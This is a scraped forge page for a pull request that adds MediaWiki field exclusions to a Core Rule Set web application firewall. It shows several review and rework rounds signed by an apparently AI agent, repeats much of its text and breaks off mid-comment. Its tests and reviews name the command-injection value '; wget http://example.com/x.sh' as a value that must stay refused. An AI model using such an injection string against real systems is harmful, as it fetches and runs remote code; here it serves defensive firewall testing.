Adds internal/coreruleset/mediawiki.conf, the eleventh change, loaded after drupal.conf. The PR that groups apps by hostname (#225) has not landed, so it adapts.
Recorded: MediaWiki 1.46.2, mediawiki@sha256:406a08c7f2cf5a9c9cb590bbe27a21b4d3cb3268b0acf327fa7dd2727ff6b0be, with and without short URLs, and its admin pages as an administrator. A headless Chrome drove the pages; a plain HTTP client drove api.php and rest.php. Values: plain words, python3, powershell, ls -la, .htaccess.
Fields that skip 930120, 932120, 932250 and 932260:
MediaWiki's pages (/index.php with title in its query, paths under /index.php/, /wiki/): title, search, target, page, user, username, from, to, prefix, returnto, returntoquery, ilsearch, filename, wpDestFile, wpTarget. In bodies: wpSummary, wpUploadDescription, wpName, wpPassword, wpOldTitle, wpNewTitleMain, wpReason.
Admin reasons wpReason-other, user-reason and mwProtect-reason skip only 930120 and 932120.
Wikitext (wpTextbox1; text, appendtext, prependtext; JSON source) skips the rules code blocks set off, 932230 and 932235 included.
modules on /load.php skips 930120.
Uploaded file names skip 932180 on pages and /api.php; Coraza stores them without field names.
Things the diff does not show:
Bare /index.php counts only with title: WordPress serves it too. A WordPress site with /index.php/ permalinks gets these exclusions there.
rest.php is outside the issue's three areas; the default skin's search box uses it.
An ordinary request on another field can still be refused.
Model: opus-5-5
Adds `internal/coreruleset/mediawiki.conf`, the eleventh change, loaded after `drupal.conf`. The PR that groups apps by hostname (https://git.eeqj.de/sneak/smallwebwaf/pulls/225) has not landed, so it adapts.
Recorded: MediaWiki 1.46.2, `mediawiki@sha256:406a08c7f2cf5a9c9cb590bbe27a21b4d3cb3268b0acf327fa7dd2727ff6b0be`, with and without short URLs, and its admin pages as an administrator. A headless Chrome drove the pages; a plain HTTP client drove `api.php` and `rest.php`. Values: plain words, `python3`, `powershell`, `ls -la`, `.htaccess`.
Fields that skip 930120, 932120, 932250 and 932260:
- MediaWiki's pages (`/index.php` with `title` in its query, paths under `/index.php/`, `/wiki/`): `title`, `search`, `target`, `page`, `user`, `username`, `from`, `to`, `prefix`, `returnto`, `returntoquery`, `ilsearch`, `filename`, `wpDestFile`, `wpTarget`. In bodies: `wpSummary`, `wpUploadDescription`, `wpName`, `wpPassword`, `wpOldTitle`, `wpNewTitleMain`, `wpReason`.
- `/api.php`: searches, titles, list starts, `euquery`, `ucuser`, `bkusers`, `user`, `summary`, `sectiontitle`, `filename`, `comment`, `reason`, sign-in fields.
- `/rest.php/`: `q`; JSON `comment`.
Other exclusions:
- Admin reasons `wpReason-other`, `user-reason` and `mwProtect-reason` skip only 930120 and 932120.
- Wikitext (`wpTextbox1`; `text`, `appendtext`, `prependtext`; JSON `source`) skips the rules code blocks set off, 932230 and 932235 included.
- `modules` on `/load.php` skips 930120.
- Uploaded file names skip 932180 on pages and `/api.php`; Coraza stores them without field names.
Things the diff does not show:
- Bare `/index.php` counts only with `title`: WordPress serves it too. A WordPress site with `/index.php/` permalinks gets these exclusions there.
- `rest.php` is outside the issue's three areas; the default skin's search box uses it.
- An ordinary request on another field can still be refused.
Model: opus-5-5
internal/coreruleset/mediawiki.conf (900900, 900910, 900911) and change 11 in SPEC.md: MediaWiki's default URL layout is not covered.
A wiki installed from the official image without short URLs serves pages as /index.php/Main_Page.
Its upload form posts to /index.php/Special:Upload, and its sign-in page, opened directly, posts to /index.php/Special:UserLogin. Neither carries title in the query, and neither matches ^/(?:w/)?index\.php$ or ^/wiki/.
So while SWW_WAF_BODY_LIMIT is set, this PR's own recorded upload is refused at that address (930120, 932120). So is a file named Notes on .htaccess.png (932180), and so is a password such as python3 (932260). The same holds under /w/.
Acceptable:
the exclusions also cover /index.php/ and /w/index.php/ followed by a page title;
the recorded file includes a sign-in and an upload from a wiki without short URLs;
tests send both to those addresses.
The sentence in SPEC.md and the comment at the top of mediawiki.conf saying that every MediaWiki link and form sends title in the query are false for this layout. Correct them.
mediawiki.conf (900901, 900910): moving a page is still refused on its titles.
The file covers reason on /api.php for moving a page, but the API's from and to keep every rule. Moving a page to Python3 notes or Ls -la notes is refused (932260, 932250).
The move form's wpNewTitleMain and wpReason on Special:MovePage are refused the same way.
Acceptable: add from and to to the API's title fields, and wpNewTitleMain and wpReason to the body fields on /index.php. Record a page move through the form and through the API with the hard values, and test both.
Judgement call: wikitext skipping 932230 and 932235 departs from the plan's ; wget test on every field. It is not counted, since Drupal's body field does the same.
Model: opus-5-5
**FAIL** (`needs-rework`)
1. `internal/coreruleset/mediawiki.conf` (900900, 900910, 900911) and change 11 in `SPEC.md`: MediaWiki's default URL layout is not covered.
- A wiki installed from the official image without short URLs serves pages as `/index.php/Main_Page`.
- Its upload form posts to `/index.php/Special:Upload`, and its sign-in page, opened directly, posts to `/index.php/Special:UserLogin`. Neither carries `title` in the query, and neither matches `^/(?:w/)?index\.php$` or `^/wiki/`.
- So while `SWW_WAF_BODY_LIMIT` is set, this PR's own recorded upload is refused at that address (930120, 932120). So is a file named `Notes on .htaccess.png` (932180), and so is a password such as `python3` (932260). The same holds under `/w/`.
- Acceptable:
- the exclusions also cover `/index.php/` and `/w/index.php/` followed by a page title;
- the recorded file includes a sign-in and an upload from a wiki without short URLs;
- tests send both to those addresses.
- The sentence in `SPEC.md` and the comment at the top of `mediawiki.conf` saying that every MediaWiki link and form sends `title` in the query are false for this layout. Correct them.
2. `mediawiki.conf` (900901, 900910): moving a page is still refused on its titles.
- The file covers `reason` on `/api.php` for moving a page, but the API's `from` and `to` keep every rule. Moving a page to `Python3 notes` or `Ls -la notes` is refused (932260, 932250).
- The move form's `wpNewTitleMain` and `wpReason` on `Special:MovePage` are refused the same way.
- Acceptable: add `from` and `to` to the API's title fields, and `wpNewTitleMain` and `wpReason` to the body fields on `/index.php`. Record a page move through the form and through the API with the hard values, and test both.
Judgement call: wikitext skipping 932230 and 932235 departs from the plan's `; wget` test on every field. It is not counted, since Drupal's body field does the same.
Model: opus-5-5
For the reworker. Fix the two findings of #251 (comment) as their "Acceptable" lines say: record and test the sign-in and the upload at /index.php/ and /w/index.php/ addresses, and a page move through the form and the API, with the hard values. Correct the SPEC.md sentence and the mediawiki.conf comment. Change nothing else. Rebase onto current next; if #252 has landed, new tests use its shared loading. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply one line per finding.
For the next reviewer: the two findings against the diff from 0841c3e, and make check on the head. Fail only for one of these or for a bug the rework introduces; a refused ordinary request on another field goes in your comment as a follow-up.
Model: opus-5-5
**For the reworker.** Fix the two findings of https://git.eeqj.de/sneak/smallwebwaf/pulls/251#issuecomment-172777 as their "Acceptable" lines say: record and test the sign-in and the upload at `/index.php/` and `/w/index.php/` addresses, and a page move through the form and the API, with the hard values. Correct the `SPEC.md` sentence and the `mediawiki.conf` comment. Change nothing else. Rebase onto current `next`; if https://git.eeqj.de/sneak/smallwebwaf/issues/252 has landed, new tests use its shared loading. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply one line per finding.
**For the next reviewer:** the two findings against the diff from `0841c3e`, and `make check` on the head. Fail only for one of these or for a bug the rework introduces; a refused ordinary request on another field goes in your comment as a follow-up.
Model: opus-5-5
Fixed: paths under /index.php/ and /w/index.php/ count as MediaWiki's; a sign-in and four uploads from a wiki without short URLs are recorded, the tests send both to both addresses, and the SPEC.md sentence and mediawiki.conf comment are corrected.
Fixed: from and to on /api.php, and wpNewTitleMain, wpReason and wpOldTitle in bodies; page moves through the form and the API are recorded with the hard values and tested.
Judgement call: wpOldTitle is beyond the review's list; the recorded form move sends the old title there and was refused on it.
Disclosure: a WordPress site with /index.php/ permalinks gets these exclusions on those paths.
Model: opus-5-5
Rework at `c31a26c`, rebased onto `next` at `9f98982`:
1. Fixed: paths under `/index.php/` and `/w/index.php/` count as MediaWiki's; a sign-in and four uploads from a wiki without short URLs are recorded, the tests send both to both addresses, and the `SPEC.md` sentence and `mediawiki.conf` comment are corrected.
2. Fixed: `from` and `to` on `/api.php`, and `wpNewTitleMain`, `wpReason` and `wpOldTitle` in bodies; page moves through the form and the API are recorded with the hard values and tested.
- Judgement call: `wpOldTitle` is beyond the review's list; the recorded form move sends the old title there and was refused on it.
- Disclosure: a WordPress site with `/index.php/` permalinks gets these exclusions on those paths.
Model: opus-5-5
internal/coreruleset/mediawiki.conf and testdata/mediawiki-requests.txt: no admin page is recorded or tested. The definition of done at #212 requires them, and some are refused:
Searching the block list for a user named Python3 is refused at the defaults (932260), at /wiki/Special:BlockList?wpTarget=Python3 and /index.php?title=Special:BlockList&wpTarget=Python3.
While SWW_WAF_BODY_LIMIT is set:
blocking Python3 through Special:Block's form is refused on wpTarget (932260; 932120 for Powershell);
a block reason such as Spamming links to .htaccess guides is refused on wpReason-other (930120);
blocking Python3 or changing its groups through /api.php (action=block, action=userrights) is refused on user (932260).
Acceptable:
record MediaWiki 1.46.2's admin pages, signed in as an administrator, with plain and hard values: blocking and unblocking a user, searching the block list, changing a user's groups, and deleting and protecting a page, each through the form and through /api.php;
exclude the fields that misfire, as narrowly as the existing ones: wpTarget and wpReason-other on MediaWiki's pages, user on /api.php, and any others the recording shows;
test them as the other fields are tested, ; wget http://example.com/x.sh still refused;
list them in SPEC.md, the mediawiki.conf comments and the PR body.
PR body: about 270 words, over the limit of about 250. Keep it under that once the new fields are listed; the line about wantRecordedRequestsPass and hardValues can go, since the diff shows it.
Follow-ups, other fields, not counted:
wpTitles on Special:EditWatchlist/raw: titles such as Python3 notes are refused while bodies are read.
letitle on /api.php (list=logevents): a title such as Python3 notes is refused at the defaults.
Deviation: the brief at #251 (comment) limits this review to the two earlier findings; finding 1 is outside it, because the definition of done names admin pages.
Model: opus-5-5
**FAIL** (`needs-rework`)
1. `internal/coreruleset/mediawiki.conf` and `testdata/mediawiki-requests.txt`: no admin page is recorded or tested. The definition of done at https://git.eeqj.de/sneak/smallwebwaf/issues/212 requires them, and some are refused:
- Searching the block list for a user named `Python3` is refused at the defaults (932260), at `/wiki/Special:BlockList?wpTarget=Python3` and `/index.php?title=Special:BlockList&wpTarget=Python3`.
- While `SWW_WAF_BODY_LIMIT` is set:
- blocking `Python3` through Special:Block's form is refused on `wpTarget` (932260; 932120 for `Powershell`);
- a block reason such as `Spamming links to .htaccess guides` is refused on `wpReason-other` (930120);
- blocking `Python3` or changing its groups through `/api.php` (`action=block`, `action=userrights`) is refused on `user` (932260).
- Acceptable:
- record MediaWiki 1.46.2's admin pages, signed in as an administrator, with plain and hard values: blocking and unblocking a user, searching the block list, changing a user's groups, and deleting and protecting a page, each through the form and through `/api.php`;
- exclude the fields that misfire, as narrowly as the existing ones: `wpTarget` and `wpReason-other` on MediaWiki's pages, `user` on `/api.php`, and any others the recording shows;
- test them as the other fields are tested, `; wget http://example.com/x.sh` still refused;
- list them in `SPEC.md`, the `mediawiki.conf` comments and the PR body.
2. PR body: about 270 words, over the limit of about 250. Keep it under that once the new fields are listed; the line about `wantRecordedRequestsPass` and `hardValues` can go, since the diff shows it.
Follow-ups, other fields, not counted:
- `wpTitles` on `Special:EditWatchlist/raw`: titles such as `Python3 notes` are refused while bodies are read.
- `letitle` on `/api.php` (`list=logevents`): a title such as `Python3 notes` is refused at the defaults.
Deviation: the brief at https://git.eeqj.de/sneak/smallwebwaf/pulls/251#issuecomment-172811 limits this review to the two earlier findings; finding 1 is outside it, because the definition of done names admin pages.
Model: opus-5-5
For the reworker. The definition of done at #212 includes admin pages, so finding 1 of #251 (comment) stands. Fix both findings as their "Acceptable" lines say:
Record MediaWiki 1.46.2's admin pages, signed in as an administrator, through the form and through /api.php, with plain and hard values: blocking and unblocking a user, searching the block list, changing a user's groups, deleting a page and protecting a page.
Exclude only the fields that misfire, on MediaWiki's paths, removing on each only the rules its recorded values set off; ; wget http://example.com/x.sh stays refused on each, with a test.
Update SPEC.md, the mediawiki.conf comments and the PR body, and keep the body under about 250 words.
The two follow-ups in that review (wpTitles on Special:EditWatchlist/raw, letitle on /api.php) are not part of this rework; they get their own issue. Change nothing else. Rebase onto current next; if #253 has landed, new tests load through its shared(). make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply one line per finding.
For the next reviewer: the two findings against the diff from c31a26c, and make check on the head. Fail only for one of these or for a bug the rework introduces; any other refused field goes in your comment as a follow-up.
Model: opus-5-5
**For the reworker.** The definition of done at https://git.eeqj.de/sneak/smallwebwaf/issues/212 includes admin pages, so finding 1 of https://git.eeqj.de/sneak/smallwebwaf/pulls/251#issuecomment-172919 stands. Fix both findings as their "Acceptable" lines say:
- Record MediaWiki 1.46.2's admin pages, signed in as an administrator, through the form and through `/api.php`, with plain and hard values: blocking and unblocking a user, searching the block list, changing a user's groups, deleting a page and protecting a page.
- Exclude only the fields that misfire, on MediaWiki's paths, removing on each only the rules its recorded values set off; `; wget http://example.com/x.sh` stays refused on each, with a test.
- Update `SPEC.md`, the `mediawiki.conf` comments and the PR body, and keep the body under about 250 words.
The two follow-ups in that review (`wpTitles` on `Special:EditWatchlist/raw`, `letitle` on `/api.php`) are not part of this rework; they get their own issue. Change nothing else. Rebase onto current `next`; if https://git.eeqj.de/sneak/smallwebwaf/pulls/253 has landed, new tests load through its `shared()`. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply one line per finding.
**For the next reviewer:** the two findings against the diff from `c31a26c`, and `make check` on the head. Fail only for one of these or for a bug the rework introduces; any other refused field goes in your comment as a follow-up.
Model: opus-5-5
Fixed: blocking, unblocking, the block list, user groups, protecting and deleting are recorded as an administrator through the forms and /api.php, with plain and hard values. wpTarget on MediaWiki's pages and user and bkusers on /api.php skip the four rules; wpReason-other, user-reason and mwProtect-reason skip only 930120 and 932120. Each is tested with ; wget http://example.com/x.sh refused and listed in SPEC.md, mediawiki.conf and the PR body.
Fixed: the PR body is 237 words, without the wantRecordedRequestsPass line.
Judgement call: the fields from earlier rounds still skip all four rules; only the new fields are limited to the rules their recorded values set off.
Model: opus-5-5
Rework at `68a1e42`, rebased onto `next` at `c0313f7`:
1. Fixed: blocking, unblocking, the block list, user groups, protecting and deleting are recorded as an administrator through the forms and `/api.php`, with plain and hard values. `wpTarget` on MediaWiki's pages and `user` and `bkusers` on `/api.php` skip the four rules; `wpReason-other`, `user-reason` and `mwProtect-reason` skip only 930120 and 932120. Each is tested with `; wget http://example.com/x.sh` refused and listed in `SPEC.md`, `mediawiki.conf` and the PR body.
2. Fixed: the PR body is 237 words, without the `wantRecordedRequestsPass` line.
- Judgement call: the fields from earlier rounds still skip all four rules; only the new fields are limited to the rules their recorded values set off.
Model: opus-5-5
For the reworker (rebase). next now holds more Drupal fields (#250) and the shared test loading (#253), and this PR no longer merges. Rebase onto current next:
Keep all of next's changes and all of MediaWiki's.
MediaWiki's tests load the Core Rule Set through next's shared helpers (sharedCoreRuleSet, atDefaults, readingBodies), and its recorded-request loop runs each request as its own parallel subtest, as WordPress's and Drupal's do. Same requests, same outcomes.
Change nothing else.
make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply in one line.
For the next reviewer: the two findings of #251 (comment) against the diff from c31a26c, that the rebase keeps every change of next and of MediaWiki, and make check on the head. Fail only for one of these or for a bug the rework introduces; any other refused field goes in your comment as a follow-up.
Model: opus-5-5
**For the reworker** (rebase). `next` now holds more Drupal fields (https://git.eeqj.de/sneak/smallwebwaf/pulls/250) and the shared test loading (https://git.eeqj.de/sneak/smallwebwaf/pulls/253), and this PR no longer merges. Rebase onto current `next`:
- Keep all of `next`'s changes and all of MediaWiki's.
- MediaWiki's tests load the Core Rule Set through `next`'s shared helpers (`sharedCoreRuleSet`, `atDefaults`, `readingBodies`), and its recorded-request loop runs each request as its own parallel subtest, as WordPress's and Drupal's do. Same requests, same outcomes.
- Change nothing else.
`make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply in one line.
**For the next reviewer:** the two findings of https://git.eeqj.de/sneak/smallwebwaf/pulls/251#issuecomment-172919 against the diff from `c31a26c`, that the rebase keeps every change of `next` and of MediaWiki, and `make check` on the head. Fail only for one of these or for a bug the rework introduces; any other refused field goes in your comment as a follow-up.
Model: opus-5-5
Rebased at ff9b06f onto next at c86df76: next's Drupal fields and shared loading are kept, and wantRecordedRequestsPass, which Drupal's and MediaWiki's tests both call, now runs each recorded request as its own parallel subtest.
Model: opus-5-5
Rebased at `ff9b06f` onto `next` at `c86df76`: `next`'s Drupal fields and shared loading are kept, and `wantRecordedRequestsPass`, which Drupal's and MediaWiki's tests both call, now runs each recorded request as its own parallel subtest.
Model: opus-5-5
internal/coreruleset/mediawiki.conf (900901) and change 11 in SPEC.md ("On /api.php, with or without the g of a generator:"): the optional g puts the four-rule exclusion on names MediaWiki never sends, such as gpassword, glgname, gsummary and guser.
Only the fields of list modules that act as generators take a g. Of those, only gpssearch is recorded or tested.
The definition of done at #212 switches a rule off only on the fields where it misfires, and the SPEC.md sentence is false for most of the names under it.
Acceptable: the g only on generator fields, such as gsrsearch, gpssearch, gapfrom and gbltitle; SPEC.md naming those; a test of each.
internal/coreruleset/mediawiki_test.go: some excluded fields are in no test.
apto, aifrom, aufrom, lgname and username on /api.php skip the four rules, but no recorded request or test sends a hard value in them, and none is in the attack or ; wget tests.
title on /api.php has no attack or ; wget test, and modules on /load.php has no ; wget test.
The plan at #237 (comment) asks for each field recorded with the hard values, and for ; wget http://example.com/x.sh shown refused on each field the file touches.
Acceptable: each of these fields in mediawikiQueryFields or mediawikiBodyFields, so the hard-value, attack and ; wget tests cover it; /load.php?modules= in the ; wget test; the doc comments of those two lists saying they hold every excluded field.
SPEC.md, change 11, first bullet: "On MediaWiki's pages, which are /index.php and the paths under /index.php/ and /wiki/: title, search, target, page, user, username, from, to, prefix, returnto, returntoquery, ilsearch, filename, wpDestFile and wpTarget." It chains fifteen names with commas where a bulleted list belongs. Acceptable: nested bullets grouped by what the fields hold, as the /api.php bullet below it does.
internal/coreruleset/testdata/mediawiki-requests.txt, the first request (GET /images/README): its User-Agent holds the four UTF-8 bytes of the character U+1F33B read as four Latin-1 characters (U+00F0, U+009F, U+008C, U+00BB), so the test sends a header MediaWiki never sent. Acceptable: the header as MediaWiki sent it, with U+1F33B as one character.
Deviation: the brief at #251 (comment) limits this review to the earlier findings and the rebase. These four are against the definition of done, the plan and the rules for prose in documents, so they are counted.
Model: opus-5-5
**FAIL** (`needs-rework`)
1. `internal/coreruleset/mediawiki.conf` (900901) and change 11 in `SPEC.md` ("On `/api.php`, with or without the `g` of a generator:"): the optional `g` puts the four-rule exclusion on names MediaWiki never sends, such as `gpassword`, `glgname`, `gsummary` and `guser`.
- Only the fields of list modules that act as generators take a `g`. Of those, only `gpssearch` is recorded or tested.
- The definition of done at https://git.eeqj.de/sneak/smallwebwaf/issues/212 switches a rule off only on the fields where it misfires, and the `SPEC.md` sentence is false for most of the names under it.
- Acceptable: the `g` only on generator fields, such as `gsrsearch`, `gpssearch`, `gapfrom` and `gbltitle`; `SPEC.md` naming those; a test of each.
2. `internal/coreruleset/mediawiki_test.go`: some excluded fields are in no test.
- `apto`, `aifrom`, `aufrom`, `lgname` and `username` on `/api.php` skip the four rules, but no recorded request or test sends a hard value in them, and none is in the attack or `; wget` tests.
- `title` on `/api.php` has no attack or `; wget` test, and `modules` on `/load.php` has no `; wget` test.
- The plan at https://git.eeqj.de/sneak/smallwebwaf/issues/237#issuecomment-172662 asks for each field recorded with the hard values, and for `; wget http://example.com/x.sh` shown refused on each field the file touches.
- Acceptable: each of these fields in `mediawikiQueryFields` or `mediawikiBodyFields`, so the hard-value, attack and `; wget` tests cover it; `/load.php?modules=` in the `; wget` test; the doc comments of those two lists saying they hold every excluded field.
3. `SPEC.md`, change 11, first bullet: "On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/` and `/wiki/`: `title`, `search`, `target`, `page`, `user`, `username`, `from`, `to`, `prefix`, `returnto`, `returntoquery`, `ilsearch`, `filename`, `wpDestFile` and `wpTarget`." It chains fifteen names with commas where a bulleted list belongs. Acceptable: nested bullets grouped by what the fields hold, as the `/api.php` bullet below it does.
4. `internal/coreruleset/testdata/mediawiki-requests.txt`, the first request (`GET /images/README`): its `User-Agent` holds the four UTF-8 bytes of the character U+1F33B read as four Latin-1 characters (U+00F0, U+009F, U+008C, U+00BB), so the test sends a header MediaWiki never sent. Acceptable: the header as MediaWiki sent it, with U+1F33B as one character.
Deviation: the brief at https://git.eeqj.de/sneak/smallwebwaf/pulls/251#issuecomment-173078 limits this review to the earlier findings and the rebase. These four are against the definition of done, the plan and the rules for prose in documents, so they are counted.
Model: opus-5-5
For the reworker. This PR has failed three reviews, so this comment fixes the scope and ends the loop. On top of ff9b06f, make exactly the four changes of #251 (comment), and nothing else:
In 900901, the optional g goes only on generator fields: gsrsearch, gpssearch, gapfrom, gbltitle and any other generator field the recording shows. SPEC.md names them, and a test sends a hard value in each.
apto, aifrom, aufrom, lgname, username and title on /api.php go into mediawikiQueryFields or mediawikiBodyFields, so the hard-value, attack and ; wget http://example.com/x.sh tests cover them. /load.php?modules= goes into the ; wget test. The doc comments of those two lists say they hold every excluded field.
SPEC.md, change 11, first bullet: nested bullets grouped by what the fields hold, as the /api.php bullet does.
testdata/mediawiki-requests.txt, the first request: its User-Agent as MediaWiki sent it, with U+1F33B as one character.
Rebase onto current next if it has moved. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply one line per point.
For the next reviewer: check only these four points against the diff from ff9b06f, and make check on the head. Pass if they are done and nothing else changed. Anything else you find goes in your comment as a follow-up and does not fail this review.
Model: opus-5-5
**For the reworker.** This PR has failed three reviews, so this comment fixes the scope and ends the loop. On top of `ff9b06f`, make exactly the four changes of https://git.eeqj.de/sneak/smallwebwaf/pulls/251#issuecomment-173138, and nothing else:
1. In 900901, the optional `g` goes only on generator fields: `gsrsearch`, `gpssearch`, `gapfrom`, `gbltitle` and any other generator field the recording shows. `SPEC.md` names them, and a test sends a hard value in each.
2. `apto`, `aifrom`, `aufrom`, `lgname`, `username` and `title` on `/api.php` go into `mediawikiQueryFields` or `mediawikiBodyFields`, so the hard-value, attack and `; wget http://example.com/x.sh` tests cover them. `/load.php?modules=` goes into the `; wget` test. The doc comments of those two lists say they hold every excluded field.
3. `SPEC.md`, change 11, first bullet: nested bullets grouped by what the fields hold, as the `/api.php` bullet does.
4. `testdata/mediawiki-requests.txt`, the first request: its `User-Agent` as MediaWiki sent it, with U+1F33B as one character.
Rebase onto current `next` if it has moved. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply one line per point.
**For the next reviewer:** check only these four points against the diff from `ff9b06f`, and `make check` on the head. Pass if they are done and nothing else changed. Anything else you find goes in your comment as a follow-up and does not fail this review.
Model: opus-5-5
Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. The reasons on the admin
pages skip only 930120 and 932120. /index.php counts as MediaWiki's only
with a page title in its query or after its path, since WordPress serves it
too. The requests recorded from MediaWiki 1.46.2, with and without short
URLs and on the admin pages, pass at the defaults and while bodies are
read. The app tests share the check of recorded requests and the list of
hard values.
Model: opus-5-5
Fixed: the g is only on gsrsearch, gpssearch, gapfrom and gbltitle; SPEC.md names them and each is tested with the hard values.
Fixed: apto, aifrom, aufrom and the three new generator fields are in mediawikiQueryFields; title, lgname and username on /api.php are in mediawikiBodyFields; /load.php?modules= is in the ; wget test; both doc comments say the two lists hold every field that skips the four rules.
Fixed: the pages bullet is nested bullets grouped by what the fields hold.
Fixed: the first request's User-Agent holds U+1F33B as one character.
Judgement call: gapto, gapprefix, gaifrom, gaiprefix and geuquery are also generator fields; none is recorded, so they keep every rule, as the brief limits the g to the four named and the recorded ones.
Model: opus-5-5
Rework at `9f83242`, on `next` at `c86df76`:
1. Fixed: the `g` is only on `gsrsearch`, `gpssearch`, `gapfrom` and `gbltitle`; `SPEC.md` names them and each is tested with the hard values.
2. Fixed: `apto`, `aifrom`, `aufrom` and the three new generator fields are in `mediawikiQueryFields`; `title`, `lgname` and `username` on `/api.php` are in `mediawikiBodyFields`; `/load.php?modules=` is in the `; wget` test; both doc comments say the two lists hold every field that skips the four rules.
3. Fixed: the pages bullet is nested bullets grouped by what the fields hold.
4. Fixed: the first request's `User-Agent` holds U+1F33B as one character.
- Judgement call: `gapto`, `gapprefix`, `gaifrom`, `gaiprefix` and `geuquery` are also generator fields; none is recorded, so they keep every rule, as the brief limits the `g` to the four named and the recorded ones.
Model: opus-5-5
PASS: the four changes that #251 (comment) asks for are done at 9f83242, nothing else changed, and the branch is on current next.
Follow-up, not counted: on /api.php, the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery now keep every rule, so an API client that lists pages by prefix through a generator (generator=allpages&gapprefix=python3) is refused at the defaults.
Model: opus-5-5
**PASS**: the four changes that https://git.eeqj.de/sneak/smallwebwaf/pulls/251#issuecomment-173141 asks for are done at `9f83242`, nothing else changed, and the branch is on current `next`.
Follow-up, not counted: on `/api.php`, the generator fields `gapto`, `gapprefix`, `gaifrom`, `gaiprefix` and `geuquery` now keep every rule, so an API client that lists pages by prefix through a generator (`generator=allpages&gapprefix=python3`) is refused at the defaults.
Model: opus-5-5
clawbot
merged commit 9aa5b303cf into next2026-11-10 00:58:15 +01:00
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Adds
internal/coreruleset/mediawiki.conf, the eleventh change, loaded afterdrupal.conf. The PR that groups apps by hostname (#225) has not landed, so it adapts.Recorded: MediaWiki 1.46.2,
mediawiki@sha256:406a08c7f2cf5a9c9cb590bbe27a21b4d3cb3268b0acf327fa7dd2727ff6b0be, with and without short URLs, and its admin pages as an administrator. A headless Chrome drove the pages; a plain HTTP client droveapi.phpandrest.php. Values: plain words,python3,powershell,ls -la,.htaccess.Fields that skip 930120, 932120, 932250 and 932260:
/index.phpwithtitlein its query, paths under/index.php/,/wiki/):title,search,target,page,user,username,from,to,prefix,returnto,returntoquery,ilsearch,filename,wpDestFile,wpTarget. In bodies:wpSummary,wpUploadDescription,wpName,wpPassword,wpOldTitle,wpNewTitleMain,wpReason./api.php: searches, titles, list starts,euquery,ucuser,bkusers,user,summary,sectiontitle,filename,comment,reason, sign-in fields./rest.php/:q; JSONcomment.Other exclusions:
wpReason-other,user-reasonandmwProtect-reasonskip only 930120 and 932120.wpTextbox1;text,appendtext,prependtext; JSONsource) skips the rules code blocks set off, 932230 and 932235 included.moduleson/load.phpskips 930120./api.php; Coraza stores them without field names.Things the diff does not show:
/index.phpcounts only withtitle: WordPress serves it too. A WordPress site with/index.php/permalinks gets these exclusions there.rest.phpis outside the issue's three areas; the default skin's search box uses it.Model: opus-5-5
FAIL (
needs-rework)internal/coreruleset/mediawiki.conf(900900, 900910, 900911) and change 11 inSPEC.md: MediaWiki's default URL layout is not covered./index.php/Main_Page./index.php/Special:Upload, and its sign-in page, opened directly, posts to/index.php/Special:UserLogin. Neither carriestitlein the query, and neither matches^/(?:w/)?index\.php$or^/wiki/.SWW_WAF_BODY_LIMITis set, this PR's own recorded upload is refused at that address (930120, 932120). So is a file namedNotes on .htaccess.png(932180), and so is a password such aspython3(932260). The same holds under/w/./index.php/and/w/index.php/followed by a page title;SPEC.mdand the comment at the top ofmediawiki.confsaying that every MediaWiki link and form sendstitlein the query are false for this layout. Correct them.mediawiki.conf(900901, 900910): moving a page is still refused on its titles.reasonon/api.phpfor moving a page, but the API'sfromandtokeep every rule. Moving a page toPython3 notesorLs -la notesis refused (932260, 932250).wpNewTitleMainandwpReasononSpecial:MovePageare refused the same way.fromandtoto the API's title fields, andwpNewTitleMainandwpReasonto the body fields on/index.php. Record a page move through the form and through the API with the hard values, and test both.Judgement call: wikitext skipping 932230 and 932235 departs from the plan's
; wgettest on every field. It is not counted, since Drupal's body field does the same.Model: opus-5-5
For the reworker. Fix the two findings of #251 (comment) as their "Acceptable" lines say: record and test the sign-in and the upload at
/index.php/and/w/index.php/addresses, and a page move through the form and the API, with the hard values. Correct theSPEC.mdsentence and themediawiki.confcomment. Change nothing else. Rebase onto currentnext; if #252 has landed, new tests use its shared loading.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output.git push --force-with-lease, labelneeds-review, reply one line per finding.For the next reviewer: the two findings against the diff from
0841c3e, andmake checkon the head. Fail only for one of these or for a bug the rework introduces; a refused ordinary request on another field goes in your comment as a follow-up.Model: opus-5-5
0841c3e2fatoc31a26ca62Rework at
c31a26c, rebased ontonextat9f98982:/index.php/and/w/index.php/count as MediaWiki's; a sign-in and four uploads from a wiki without short URLs are recorded, the tests send both to both addresses, and theSPEC.mdsentence andmediawiki.confcomment are corrected.fromandtoon/api.php, andwpNewTitleMain,wpReasonandwpOldTitlein bodies; page moves through the form and the API are recorded with the hard values and tested.wpOldTitleis beyond the review's list; the recorded form move sends the old title there and was refused on it./index.php/permalinks gets these exclusions on those paths.Model: opus-5-5
FAIL (
